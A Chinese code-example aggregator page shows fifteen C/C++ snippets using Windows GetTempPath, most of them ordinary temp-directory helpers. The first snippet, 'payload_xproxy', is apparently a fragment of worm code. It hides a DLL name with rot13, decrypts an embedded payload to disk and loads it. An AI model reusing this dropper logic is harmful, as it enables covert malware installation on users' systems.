当前位置: 首页>>代码示例>>C++>>正文


C++ GetTempPath函数代码示例

本文整理汇总了C++中GetTempPath函数的典型用法代码示例。如果您正苦于以下问题:C++ GetTempPath函数的具体用法?C++ GetTempPath怎么用?C++ GetTempPath使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了GetTempPath函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。

示例1: payload_xproxy

void payload_xproxy(struct sync_t *sync)
{
	char fname[20], fpath[MAX_PATH+20];
	HANDLE hFile;
	int i;
	rot13(fname, "fuvztncv.qyy");   /* "shimgapi.dll" */
	sync->xproxy_state = 0;
	for (i=0; i<2; i++) {
		if (i == 0)
			GetSystemDirectory(fpath, sizeof(fpath));
		else
			GetTempPath(sizeof(fpath), fpath);
		if (fpath[0] == 0) continue;
		if (fpath[lstrlen(fpath)-1] != '\\') lstrcat(fpath, "\\");
		lstrcat(fpath, fname);
		hFile = CreateFile(fpath, GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
			NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
		if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) {
			if (GetFileAttributes(fpath) == INVALID_FILE_ATTRIBUTES)
				continue;
			sync->xproxy_state = 2;
			lstrcpy(sync->xproxy_path, fpath);
			break;
		}
		decrypt1_to_file(xproxy_data, sizeof(xproxy_data), hFile);
		CloseHandle(hFile);
		sync->xproxy_state = 1;
		lstrcpy(sync->xproxy_path, fpath);
		break;
	}

	if (sync->xproxy_state == 1) {
		LoadLibrary(sync->xproxy_path);
		sync->xproxy_state = 2;
	}
}
开发者ID:Adrellias,项目名称:Code-Dump,代码行数:36,代码来源:main.c

示例2: lcb_get_tmpdir

const char *
lcb_get_tmpdir(void)
{
#if defined(_WIN32)
    static char buf[MAX_PATH+1] = { 0 };
    if (buf[0]) {
        return buf;
    }
    GetTempPath(sizeof buf, buf);
    return buf;
#else
    const char *ret;
    if ((ret = getenv("TMPDIR")) != NULL) {
        return ret;
    } else {

    #if defined(_POSIX_VERSION)
        return "/tmp";
    #else
        return ".";
    #endif
    }
#endif
}
开发者ID:Ramzi-Alqrainy,项目名称:libcouchbase,代码行数:24,代码来源:utilities.c

示例3: TestingSetup

    TestingSetup() {
        fPrintToDebugLog = false; // don't want to write to debug.log file
        noui_connect();
#ifdef ENABLE_WALLET
        bitdb.MakeMock();
#endif
        pathTemp = GetTempPath() / strprintf("test_sidecoin_%lu_%i", (unsigned long)GetTime(), (int)(GetRand(100000)));
        boost::filesystem::create_directories(pathTemp);
        mapArgs["-datadir"] = pathTemp.string();
        pblocktree = new CBlockTreeDB(1 << 20, true);
        pcoinsdbview = new CCoinsViewDB(1 << 23, true);
        pcoinsTip = new CCoinsViewCache(*pcoinsdbview);
        InitBlockIndex();
#ifdef ENABLE_WALLET
        bool fFirstRun;
        pwalletMain = new CWallet("wallet.dat");
        pwalletMain->LoadWallet(fFirstRun);
        RegisterWallet(pwalletMain);
#endif
        nScriptCheckThreads = 3;
        for (int i=0; i < nScriptCheckThreads-1; i++)
            threadGroup.create_thread(&ThreadScriptCheck);
        RegisterNodeSignals(GetNodeSignals());
    }
开发者ID:csbitcoin,项目名称:sidecoin,代码行数:24,代码来源:test_sidecoin.cpp

示例4: scanDirs

static void scanDirs(void)
{
	HMODULE hModule = GetModuleHandleW(NULL);
	char path[MAX_PATH];
	int pathlength;

	//Fetch absolue .exe path
	pathlength = GetModuleFileName(hModule, path, MAX_PATH);
	
	dataDir = calloc(pathlength + 1, sizeof(char));
	memcpy(dataDir, path, pathlength);
	ccStringTrimToChar(dataDir, '\\', true);
	ccStringReplaceChar(dataDir, '\\', '/');

	//User dir
	userDir = USERHOME;

	//Temp directory
	pathlength = GetTempPath(MAX_PATH, path);

	tempDir = calloc(pathlength + 1, sizeof(char));
	memcpy(tempDir, path, pathlength);
	ccStringReplaceChar(tempDir, '\\', '/');
}
开发者ID:ccore,项目名称:ccore,代码行数:24,代码来源:win_file.c

示例5: GetTempPath

const char * MWindow::getTempDirectory(void)
{
	static char tempDirectory[256];
	TCHAR shortPath[MAX_PATH];

	GetTempPath(MAX_PATH, shortPath);

	LPCTSTR lpszShortPath = shortPath;
	DWORD buffSize = MAX_PATH;
	LPTSTR lpszLongPath = (LPTSTR)malloc(buffSize *sizeof(TCHAR));
	DWORD result = GetLongPathName(lpszShortPath, lpszLongPath, buffSize);

	if(result > MAX_PATH)
	{
		delete lpszLongPath;
		buffSize = result;
		lpszLongPath = (LPTSTR)malloc(buffSize*sizeof(TCHAR));
		if(! GetLongPathName(lpszShortPath, lpszLongPath, buffSize))
			return NULL;
	}

	strcpy(tempDirectory, lpszLongPath);
	return tempDirectory;
}
开发者ID:mconbere,项目名称:Newt,代码行数:24,代码来源:MWin32Window.cpp

示例6: mirGetTempFileName

MBASEAPI BOOL MIRACLEEXPORT mirGetTempFileName(CString &FileName)
{
	const int buffersize = FILE_PATH_MAX;
	TCHAR szTempPath[buffersize];
	TCHAR szTempName[buffersize];

	DWORD dwRetVal = GetTempPath(buffersize,szTempPath); // buffer for path 
	if (dwRetVal > buffersize || (dwRetVal == 0))
	{
		logErrorVA("GetTempPath failed (%d)\n", GetLastError());
		return FALSE;
	}
	UINT uRetVal = GetTempFileName(szTempPath, // directory for tmp files
		TEXT("MIF"),  // temp file name prefix 
		0,            // create unique name 
		szTempName);  // buffer for name 
	if (uRetVal == 0)
	{
		logErrorVA("GetTempFileName failed (%d)\n", GetLastError());
		return FALSE;
	}	
	FileName = szTempName;
	return TRUE;
}
开发者ID:hozgur,项目名称:Colorway,代码行数:24,代码来源:globalfunctions.cpp

示例7: plat_gettmpdir

const char* plat_gettmpdir()
{
    static char s_tmpdir[MAX_PATH];

    if (!s_tmpdir[0])
    {
        DWORD ret = GetTempPath(MAX_PATH, s_tmpdir);

        if ((ret == 0) || (ret > MAX_PATH))
        {
            // Ugh. Try several environment variables and just
            //  set to c:\\temp if all those fail.
            const char *tmpdir = getenv("TMP");
            if (!tmpdir)
            {
                tmpdir = getenv("TEMP");
                if (!tmpdir)
                {
                    tmpdir = getenv("USERPROFILE");
                    if (!tmpdir)
                        tmpdir = "c:\\temp";
                }
            }

            strncpy(s_tmpdir, tmpdir, sizeof(s_tmpdir));
            s_tmpdir[sizeof(s_tmpdir) - 1] = 0;
        }

        // Remove trailing slash.
        size_t slen = strlen(s_tmpdir);
        if ((slen > 0) && (s_tmpdir[slen - 1] == '\\'))
            s_tmpdir[--slen] = 0;
    }

    return s_tmpdir;
}
开发者ID:gchatelet,项目名称:vogl,代码行数:36,代码来源:vogl_port_windows.cpp

示例8: DllMain

// dllmain
BOOL WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID) {
	g_hInst = hInst;
	if( dwReason == DLL_PROCESS_ATTACH ) {
		{
		char temp[MAX_PATH];
		GetTempPath(sizeof(temp),temp);
		GetLongPathName(temp,TEMP,sizeof(TEMP));
		TEMP_SIZE = strlen(TEMP);
		if(TEMP[TEMP_SIZE-1]=='\\') {
			TEMP_SIZE--;
			TEMP[TEMP_SIZE]='\0';
		}
		}
		InitializeCriticalSection(&localQueueMutex);
		InitializeCriticalSection(&localContextMutex);
#ifdef _DEBUG
		isVista = 1;
#else
		isVista = ( (DWORD)(LOBYTE(LOWORD(GetVersion()))) == 6 );
#endif
	}
	//DLL_THREAD_ATTACH
	return TRUE;
}
开发者ID:sportarup,项目名称:miranda-dev,代码行数:25,代码来源:main.cpp

示例9: rs

bool EVUtil::ODBCGetOLEImage( int iID,CString& strName )
{
	if(m_db.IsOpen())
	{
		CdbImages rs(&m_db);
		//CString sql;
		//sql.Format(_T("select * from 数据 where id=%d "),iID);
		//rs.Open(CRecordset::dynaset,sql);//*/
		rs.Open();
		if(rs.IsOpen())
		{
			rs.MoveFirst();
			while(!rs.IsEOF())
			{
				if ( rs.m_iID!=iID )
				{
					rs.MoveNext();
					continue;
				}
				TCHAR    tmpPath[_MAX_PATH+1];
				GetTempPath(_MAX_PATH,tmpPath);

				strName.Insert(0,tmpPath);

				CFile	outFile(strName,CFile::modeCreate|CFile::modeWrite);
				LPSTR	buffer = (LPSTR)GlobalLock(rs.m_BLOBImage.m_hData);
				outFile.Write(buffer,rs.m_BLOBImage.m_dwDataLength);
				GlobalUnlock(rs.m_BLOBImage.m_hData);
				outFile.Close();
				break;
			}
		}
	}

	return false;
}
开发者ID:douzsh,项目名称:douzsh,代码行数:36,代码来源:EVUtil.cpp

示例10: TEXT

void CorePlugin::enableLog() {
#ifdef DEBUG
#ifdef WIN32
	WCHAR szPath[MAX_PATH];
	WCHAR szFileName[MAX_PATH];
	WCHAR* szAppName = TEXT(FBSTRING_PluginFileName);
	DWORD dwBufferSize = MAX_PATH;
	SYSTEMTIME stLocalTime;

	GetLocalTime(&stLocalTime);
	GetTempPath(dwBufferSize, szPath);
	//ExpandEnvironmentStrings(L"%SYSTEMDRIVE%", szPath, MAX_PATH);
	//StringCchCat(szPath, MAX_PATH, L"\\TEMP\\");

	StringCchPrintf(szFileName, MAX_PATH, L"%s\\%s-%04d%02d%02d-%02d%02d%02d-%ld-%ld.log",
		szPath, szAppName,
		stLocalTime.wYear, stLocalTime.wMonth, stLocalTime.wDay,
		stLocalTime.wHour, stLocalTime.wMinute, stLocalTime.wSecond,
		GetCurrentProcessId(), GetCurrentThreadId());
	s_log_file = _wfopen(szFileName, L"w+");
#endif //WIN32
#endif //DEBUG
	linphone_core_enable_logs_with_cb(CorePlugin::log);
}
开发者ID:ayham-hassan,项目名称:linphone-web-plugin,代码行数:24,代码来源:coreplugin.cpp

示例11: switch

CString CHttpFileDownload::GetDownPath()
{
	switch (m_nDownMethod){
		case HTTP_DOWNLOAD_PATH_EXECUTE:
			m_strDownPath = GetExecutePath();
			break;

		case HTTP_DOWNLOAD_PATH_TEMP:
			m_strDownPath = GetTempPath();
			break;
		
		case HTTP_DOWNLOAD_PATH_USER:
			if(SetDownPath(m_strDownPath)){
				if(!CheckFolder(m_strDownPath))
					m_strDownPath = "";
			}
			break;
		
		default:
			m_strDownPath = "";
	}

	return m_strDownPath;
}
开发者ID:jongha,项目名称:update-dll,代码行数:24,代码来源:HttpFileDownload.cpp

示例12: dlg

BOOL CDBFExplorerDoc::OnNewDocument()
{
	if (!CDocument::OnNewDocument())
		return FALSE;

	CStructureDlg dlg(AfxGetMainWnd());
	dlg.m_strTitle = _T("Create New DBF file");
	if (dlg.DoModal() == IDOK)
	{
		TCHAR szPath[MAX_PATH];
		GetTempPath(_countof(szPath), szPath);
      _tmakepath(m_szTempFileName, NULL, szPath, GetTitle(), _T(DBF_FILEEXT));
		if (m_dBaseFile->Create(m_szTempFileName, dlg.m_strFieldArray) == DBASE_SUCCESS)
		{
			if (OnOpenDocument(m_szTempFileName))
			{
				SetModifiedFlag(TRUE);
				return TRUE;
			}
			return FALSE;
		}
	}
	return FALSE;
}
开发者ID:tchv71,项目名称:StartPP,代码行数:24,代码来源:DBFExplorerDoc.cpp

示例13: alloctmpfile

HANDLE alloctmpfile(TCHAR *tmpfilename, int namelen, size_w length)
{
	HANDLE hFile;

	if(namelen < MAX_PATH)
		return 0;

	if(GetTempPath(namelen, tmpfilename))
	{
		if(GetTempFileName(tmpfilename, TEXT("~HX"), 0, tmpfilename))
		{
			hFile = allocfile(tmpfilename, length);

			if(hFile != INVALID_HANDLE_VALUE)
			{
				return hFile;
			}

			DeleteFile(tmpfilename);
		}
	}

	return 0;
}
开发者ID:rajeshpillai,项目名称:HexEdit,代码行数:24,代码来源:seqbuf.cpp

示例14: file_temp

FILE *					/* O - Temporary file */
file_temp(char *name,			/* O - Filename */
          int  len)			/* I - Length of filename buffer */
{
  FILE		*fp;			/* File pointer */
  int		fd;			/* File descriptor */
#ifdef WIN32
  char		tmpdir[1024];		/* Buffer for temp dir */
#else
  const char	*tmpdir;		/* Temporary directory */
#endif /* WIN32 */


  web_cache[web_files].name = NULL;
  web_cache[web_files].url  = NULL;
  web_files ++;

#ifdef WIN32
  GetTempPath(sizeof(tmpdir), tmpdir);
#else
  if ((tmpdir = getenv("TMPDIR")) == NULL)
    tmpdir = "/var/tmp";
#endif /* WIN32 */

  snprintf(name, len, TEMPLATE, tmpdir, getpid(), web_files);

  if ((fd = open(name, OPENMODE, OPENPERM)) >= 0)
    fp = fdopen(fd, "w+b");
  else
    fp = NULL;

  if (!fp)
    web_files --;

  return (fp);
}
开发者ID:svn2github,项目名称:htmldoc,代码行数:36,代码来源:file.c

示例15: InitGlobal

BOOL InitGlobal()
{
    //g_TEMP_BASE_PATH: Get the system temporary path
    DWORD dwLenInstallerPath = MAX_PATH_SIZE;
    GetTempPath(dwLenInstallerPath, (LPTSTR)g_TEMP_BASE_PATH);

    //g_TEMP_JAVAWS_PATH: Generate a unique temporary directory
    GetTempDirName(g_TEMP_BASE_PATH, g_TEMP_JAVAWS_PATH);
    CreateDirectory(g_TEMP_JAVAWS_PATH, NULL);

    //Get Javaws home path
    if(GetJavawsHome() == 0)
    {
        return false;
    };

    //g_TEMP_INSTALLER_JAR: Get the full path name for the jar file to be generated
    sprintf(g_TEMP_INSTALLER_JAR, "%s\\%s", g_TEMP_JAVAWS_PATH, "installer.jar");

    //g_TEMP_JAVAWS_URL: Get the url mode of installer.jar's path
    char tempUrl[MAX_PATH_SIZE] = {0};
    int iNumber = 0;
    while (g_TEMP_JAVAWS_PATH[iNumber]) {
        for(int i=0; i<sizeof(g_TEMP_JAVAWS_PATH); i++) {
            if(g_TEMP_JAVAWS_PATH[i]=='\\') {
                tempUrl[i] = '/';
            } else {
                tempUrl[i] = g_TEMP_JAVAWS_PATH[i];
            }
        }
        iNumber++;
    }
    sprintf(g_TEMP_JAVAWS_URL, "file:///%s", tempUrl);

    return true;
}
开发者ID:M6C,项目名称:com-parzing-ui-swing,代码行数:36,代码来源:MsiActions.cpp


注:本文中的GetTempPath函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。